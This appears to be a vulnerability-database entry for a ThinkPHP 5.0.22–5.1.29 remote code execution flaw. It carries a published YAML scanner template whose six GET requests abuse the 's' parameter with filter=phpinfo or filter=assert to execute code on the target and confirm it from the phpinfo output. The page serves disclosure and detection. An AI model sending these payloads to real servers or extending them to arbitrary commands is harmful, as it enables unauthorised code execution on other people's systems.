thinkphp-5024-5130-rce: ThinkPHP 5.0.22 TO 5.1.29 RCE

日期: 2025-09-01 | 影响软件: ThinkPHP | POC: 已公开

漏洞描述

A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter.

PoC代码[已公开]

id: thinkphp-5024-5130-rce

info:
  name: ThinkPHP 5.0.22 TO 5.1.29  RCE
  author: lark-lab
  severity: critical
  description: A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter.

rules:
  r0:
    request:
      method: GET
      path: "/?s=index/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r1:
    request:
      method: GET
      path: "/?s=index/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r00:
    request:
      method: GET
      path: "/?s=admin/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r11:
    request:
      method: GET
      path: "/?s=admin/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r000:
    request:
      method: GET
      path: "/?s=api/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r111:
    request:
      method: GET
      path: "/?s=api/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
expression: r0() || r1() || r00() || r11() || r000() || r111()

相关漏洞推荐